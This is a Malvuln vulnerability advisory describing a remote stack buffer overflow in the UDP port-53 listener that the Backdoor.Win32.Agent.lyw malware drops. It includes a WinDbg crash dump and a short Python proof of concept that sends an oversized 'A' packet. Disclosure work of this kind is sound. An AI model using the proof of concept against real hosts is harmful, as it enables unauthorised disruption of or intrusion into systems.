Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/4de6f4104a5fc2185164747a6fcf20ce.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln
Threat: Backdoor.Win32.Agent.lyw
Vulnerability: Remote Stack Buffer Overflow (UDP)
Description: The malware drops an executable named "aspimgr.exe" under SysWOW64 dir, which listens on TCP port 80 and UDP port 53. Third-party attackers who can reach the server can send a specially crafted UDP packet to port 53, triggering a classic buffer overflow overwriting ECX and EIP registers.
Type: PE32
MD5: 4de6f4104a5fc2185164747a6fcf20ce
Vuln ID: MVID-2021-0210
Dropped files:
ASLR: False
DEP: False
Safe SEH: True
Disclosure: 05/14/2021
Memory Dump:
The stored exception information can be accessed via .ecxr.
(b58.1c6c): Access violation - code c0000005 (first/second chance not available)
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000
eip=41414141 esp=03151450 ebp=03151470 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:006> .ecxr
eax=00000000 ebx=00000000 ecx=41414141 edx=77b09d70 esi=00000000 edi=00000000
eip=41414141 esp=03151450 ebp=03151470 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
0:006> !analyze -v
*******************************************************************************
* *
* Exception Analysis *
* *
*******************************************************************************
*** WARNING: Unable to verify checksum for aspimgr.exe
*** ERROR: Module load completed but symbols could not be loaded for aspimgr.exe
Failed calling InternetOpenUrl, GLE=12029
FAULTING_IP:
aspimgr+6876
00406876 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
EXCEPTION_RECORD: 0324e124 -- (.exr 0x324e124)
ExceptionAddress: 00406876 (aspimgr+0x00006876)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 03250000
Attempt to read from address 03250000
PROCESS_NAME: aspimgr.exe
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.
EXCEPTION_PARAMETER1: 00000008
EXCEPTION_PARAMETER2: 41414141
WRITE_ADDRESS: 41414141
FOLLOWUP_IP:
aspimgr+6876
00406876 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
FAILED_INSTRUCTION_ADDRESS:
+6876
41414141 ?? ???
MOD_LIST:
NTGLOBALFLAG: 0
APPLICATION_VERIFIER_FLAGS: 0
IP_ON_HEAP: 41414141
The fault address in not in any loaded module, please check your build's rebase
log at \bin\build_logs\timebuild\ntrebase.log for module which may
contain the address if it were loaded.
IP_IN_FREE_BLOCK: 41414141
CONTEXT: 0324e174 -- (.cxr 0x324e174)
eax=0000018d ebx=00000041 ecx=00000001 edx=0000018c esi=0324fffd edi=0324e7a8
eip=00406876 esp=0324e5d4 ebp=0324ede4 iopl=0 nv up ei pl nz na po nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202
aspimgr+0x6876:
00406876 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
Resetting default scope
FAULTING_THREAD: ffffffff
BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
DEFAULT_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141
LAST_CONTROL_TRANSFER: from 00406adc to 00406876
STACK_TEXT:
0324e5d4 00406876 aspimgr+0x6876
0324edec 00406adc aspimgr+0x6adc
0324ff44 41414141 unknown!printable+0x0
0324ff48 41414141 unknown!printable+0x0
0324ff4c 41414141 unknown!printable+0x0
0324ff50 41414141 unknown!printable+0x0
0324ff54 41414141 unknown!printable+0x0
0324ff58 41414141 unknown!printable+0x0
0324ff5c 41414141 unknown!printable+0x0
0324ff60 41414141 unknown!printable+0x0
0324ff64 41414141 unknown!printable+0x0
0324ff68 41414141 unknown!printable+0x0
0324ff6c 41414141 unknown!printable+0x0
0324ff70 41414141 unknown!printable+0x0
0324ff74 41414141 unknown!printable+0x0
0324ff78 41414141 unknown!printable+0x0
0324ff7c 41414141 unknown!printable+0x0
0324ff80 41414141 unknown!printable+0x0
0324ff84 41414141 unknown!printable+0x0
0324ff88 41414141 unknown!printable+0x0
0324ff8c 41414141 unknown!printable+0x0
0324ff90 41414141 unknown!printable+0x0
0324ff94 41414141 unknown!printable+0x0
0324ff98 41414141 unknown!printable+0x0
0324ff9c 41414141 unknown!printable+0x0
0324ffa0 41414141 unknown!printable+0x0
0324ffa4 41414141 unknown!printable+0x0
0324ffa8 41414141 unknown!printable+0x0
0324ffac 41414141 unknown!printable+0x0
0324ffb0 41414141 unknown!printable+0x0
0324ffb4 41414141 unknown!printable+0x0
0324ffb8 41414141 unknown!printable+0x0
0324ffbc 41414141 unknown!printable+0x0
0324ffc0 41414141 unknown!printable+0x0
0324ffc4 41414141 unknown!printable+0x0
0324ffc8 41414141 unknown!printable+0x0
0324ffcc 41414141 unknown!printable+0x0
0324ffd0 41414141 unknown!printable+0x0
0324ffd4 41414141 unknown!printable+0x0
0324ffd8 41414141 unknown!printable+0x0
0324ffdc 41414141 unknown!printable+0x0
0324ffe0 41414141 unknown!printable+0x0
0324ffe4 41414141 unknown!printable+0x0
0324ffe8 41414141 unknown!printable+0x0
0324ffec 41414141 unknown!printable+0x0
0324fff0 41414141 unknown!printable+0x0
0324fff4 41414141 unknown!printable+0x0
0324fff8 41414141 unknown!printable+0x0
0324fffc 41414141 unknown!printable+0x0
03250000 41414141 unknown!printable+0x0
STACK_COMMAND: .cxr 000000000324E174 ; kb ; dds 324e5d4 ; kb
SYMBOL_STACK_INDEX: 0
SYMBOL_NAME: aspimgr+6876
FOLLOWUP_NAME: MachineOwner
MODULE_NAME: aspimgr
IMAGE_NAME: aspimgr.exe
DEBUG_FLR_IMAGE_TIMESTAMP: 48898bf6
FAILURE_BUCKET_ID: STACK_OVERFLOW_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_c0000005_aspimgr.exe!Unknown
BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_SOFTWARE_NX_FAULT_INVALID_EXPLOITABLE_FILL_PATTERN_41414141_BAD_IP_aspimgr+6876
Exploit/PoC:
from socket import *
MALWARE_HOST="x.x.x.x"
PORT=53
def doit():
s=socket(AF_INET, SOCK_DGRAM)
s.connect((MALWARE_HOST, PORT))
PACKET = "A"*6669
s.send(PACKET)
s.close()
print("Backdoor.Win32.Agent.lyw / Remote Stack Buffer Overflow (UDP)")
print("MD5: 4de6f4104a5fc2185164747a6fcf20ce")
print("Malvuln")
if __name__=="__main__":
doit()
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